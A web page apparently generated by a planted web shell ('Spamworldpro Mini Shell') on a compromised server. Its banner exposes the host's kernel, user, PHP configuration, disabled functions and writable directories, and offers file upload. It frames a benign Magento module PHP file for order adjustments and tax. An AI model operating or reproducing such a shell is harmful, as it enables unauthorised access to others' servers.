Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/redchamps/module-total-adjustment/Model/AdjustmentModifier/Actions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/redchamps/module-total-adjustment/Model/AdjustmentModifier/Actions/Base.php
<?php
/**
 * @author RedChamps Team
 * @copyright Copyright (c) RedChamps (https://redchamps.com/)
 * @package RedChamps_TotalAdjustment
 */
namespace RedChamps\TotalAdjustment\Model\AdjustmentModifier\Actions;

use RedChamps\TotalAdjustment\Model\AdjustmentManager;
use RedChamps\TotalAdjustment\Model\ConfigReader;

abstract class Base
{
    protected $configReader;

    protected $adjustmentManager;

    public function __construct(
        ConfigReader $configReader,
        AdjustmentManager $adjustmentManager
    ) {
        $this->configReader = $configReader;
        $this->adjustmentManager = $adjustmentManager;
    }

    protected function validateTitle($order, $title)
    {
        if ($order->getAdjustments()) {
            $adjustments = $this->adjustmentManager->decodeAdjustments($order->getAdjustments());
            foreach ($adjustments as $adjustment) {
                if ($title == $adjustment["title"]) {
                    return false;
                }
            }
        }
        return true;
    }

    protected function calculateTax($order, $amount)
    {
        $taxPercent = $this->getTaxRate($order);
        $taxAmount = 0;
        if ($taxPercent) {
            $taxAmount = $this->configReader->calculateTax($amount, $taxPercent);
        }
        return $taxAmount;
    }

    protected function getTaxRate($order)
    {
        $taxPercent = (float)$order->getAdjustmentsTaxPercentage();
        $taxAmount = (float)$order->getTaxAmount();
        if (!$taxPercent && $taxAmount) {
            $taxPercent = $this->configReader->getTaxRate($order);
            $order->setAdjustmentsTaxPercentage($taxPercent);
        }
        return $taxPercent;
    }

    protected function calculateBaseAmount($amount, $store)
    {
        return $this->configReader->convertToBaseCurrency($amount, $store);
    }
}

Spamworldpro Mini